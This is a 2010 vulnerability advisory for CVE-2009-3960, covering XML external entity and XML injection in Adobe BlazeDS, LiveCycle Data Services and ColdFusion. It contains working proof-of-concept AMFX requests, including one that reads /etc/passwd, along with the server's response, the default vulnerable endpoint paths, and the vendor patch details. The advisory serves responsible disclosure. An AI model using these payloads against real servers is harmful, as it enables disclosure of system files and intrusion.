



Vulnerability Advisory

Name	Multiple Adobe Products – XML External Entity Injection And XML Injection
CVE	CVE-2009-3960
Adobe PSIRT	APSB10-05 - http://www.adobe.com/support/security/bulletins/apsb10-05.html
Date Released	February 22, 2010
Affected Software	BlazeDS 3.2 and earlier versions LiveCycle 9.0, 8.2.1, and 8.0.1 LiveCycle Data Services 3.0, 2.6.1, and 2.5.1 Flex Data Services 2.0.1 ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2
Researcher	Roberto Suggi Liverani – roberto.suggi@security-assessment.com
Link	http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf

Description

Security-Assessment.com discovered that multiple Adobe products with different Data Services versions are vulnerable to XML External Entity (XXE) and XML injection attacks. XML external Entities injection allows a wide range of XML based attacks, including local file disclosure, TCP scans and Denial of Service condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection. For more information about the implications associated to this vulnerability, refer to the RFC2518 (17.7 Implications of XML External Entities): <http://www.ietf.org/rfc/rfc2518.txt>

Product Review

Adobe Data Services components provide Flex/RIA applications with data messaging, remoting and management capabilities.

The discovered vulnerabilities affect the HTTPChannel servlet classes which are respectively "mx.messaging.channels.HTTPChannel" and "mx.messaging.channels.SecureHTTPChannel". These classes are part of the Data Services Messaging classes and can be found in the flex-messaging-common.jar Java archive.

The HTTPChannel transports data in the AMFX format, which is the text-based XML representation of AMF. The HTTPChannel endpoints are defined in the services-config.xml file, located within the Flex/WEB-INF folder of the application. By default, the HTTPChannel classes are mapped to the following endpoints:

HTTPChannel Endpoint URIs
http://{server.name}:{server.port}/{context.root}/messagebroker/http
https://{server.name}:{server.port}/{context.root}/messagebroker/httpsecure

Note that the HTTPChannel may be mapped to different endpoints. This depends on the deployed application and the framework in use (e.g. BlazeDS, Adobe LiveCycle Data Services, etc.).





Exploitation – XML External Entity Injection

XML entities can be declared and included within AMFX requests passed to the HTTPChannel. The XML parser parses the payload and successfully processes injected entities.

The following table shows an example of XML external entity injection which leads to local file disclosure. The AMFX request is sent via the HTTPChannel endpoint in BlazeDS.

XML External Entity Injection – Local File Disclosure PoC – BlazeDS – Request
POST /samples/messagebroker/http HTTP/1.1 Content-type: application/x-amf <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [<!ENTITY x3 SYSTEM "/etc/passwd">]> <amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"> <body> <object type="flex.messaging.messages.CommandMessage"> <traits> <string>body</string><string>clientId</string><string>correlationId</string> <string>destination</string><string>headers</string><string>messageId</string> <string>operation</string><string>timestamp</string><string>timeToLive</string> </traits><object><traits /> </object> <null /><string /><string /> <object> <traits> <string>DSId</string><string>DSMessagingVersion</string> </traits> <string>nil</string><int>1</int> </object> <string>&x3;</string> <int>5</int><int>0</int><int>0</int> </body> </amfx>





XML External Entity Injection – Local File Inclusion PoC – BlazeDS – Response

Response:

```

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl" mustUnderstand="true">
<string>;jsessionid=2191D3647221B72039C5B05D38084A42</string></header>
<body targetURI="/onResult" responseURI="">
<object type="flex.messaging.messages.AcknowledgeMessage">
<traits><string>timestamp</string><string>headers</string>
<string>body</string><string>correlationId</string>
<string>messageId</string><string>timeToLive</string>
<string>clientId</string><string>destination</string>
</traits><double>1.257387140632E12</double><object>
<traits><string>DSMessagingVersion</string>
<string>DSId</string></traits><double>1.0</double>
<string>BDE929FE-270D-3B56-1061-616E8B938429</string>
</object><null/><string>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[...]
```

The above injection was successfully tested on multiple Adobe products, as shown in the following table:

Product Name/Version/OS	HTTPChannel endpoint URI	Method	Protocol
Adobe BlazeDS 3.2.0.39 Linux Ubuntu 9.04 / Tomcat 6.0.14	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS
Adobe LiveCycle Data Services ES2 3.0 Windows XP SP2 / Tomcat 6.0.14	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS
ColdFusion 9.0 Windows XP SP2 / Tomcat 6.0.14	{server.name}:{server.port}/ {context.root}/flex2gateway/http {server.name}:{server.port}/ {context.root}/flex2gateway/httpsecure	POST, GET	HTTP, HTTPS
Adobe LiveCycle ES2 Windows XP SP2 / IBM Websphere 7.0	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS

The vendor has released several patches for this vulnerability. See the Solution section of this document for more information.





Exploitation – XML Injection

The XML parser lacks of proper input and output validation controls. Security-Assessment.com managed to inject arbitrary XML content which was returned in the XML response. The following table shows an XML injection in the BlazeDS HTTPChannel. The injected payload becomes part of the response. In this case, injection is possible via the "responseURI" attribute.

XMLInjection – BlazeDS - Request
POST /samples/messagebroker/http HTTP/1.1 Content-type: application/x-amf <?xml version="1.0" encoding="utf-8"?> <amfx ver="3"><body targetURI="" responseURI="d" injectedattr="anything"><null/> </body></amfx>

XMLInjection – BlazeDS - Response
AMF XML Response: <?xml version="1.0" encoding="utf-8"?> <amfx ver="3"><body targetURI="d" injectedattr="anything" responseURI=""><null/></body></amfx></body></amfx>

The above injection was successfully tested on multiple Adobe products, as shown in the following table:

Product Name/Version/OS	HTTP Endpoint URI	Method	Protocol
Adobe BlazeDS 3.2.0.39 Linux Ubuntu 9.04 / Tomcat 6.0.14	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS
Adobe LiveCycle Data Services ES2 3.0 Windows XP SP2 / Tomcat 6.0.14	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS
ColdFusion 9.0 Windows XP SP2 / JRun Web Server	{server.name}:{server.port}/ {context.root}/flex2gateway/http {server.name}:{server.port}/ {context.root}/flex2gateway/httpsecure	POST, GET	HTTP, HTTPS
Adobe LiveCycle ES2 Windows XP SP2 / IBM Websphere 7.0	{server.name}:{server.port}/ {context.root}/messagebroker/http {server.name}:{server.port}/ {context.root}/messagebroker/httpsecure	POST, GET	HTTP, HTTPS

The vendor has released several patches for this vulnerability. See the Solution section of this document for more information.





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Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the vendor after discovering the issues. The vendor was contacted on the 6th November 2009 and a reply was received on the same day. The vendor released security patches on the 11th February 2010.

The security patches can be downloaded at the following website:
<http://www.adobe.com/support/security/bulletins/apsb10-05.html>

Credit

Discovered and advised to Adobe in November 2009 by Roberto Suggi Liverani of Security-Assessment.com.
Personal Page: <http://malerisch.net/>

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

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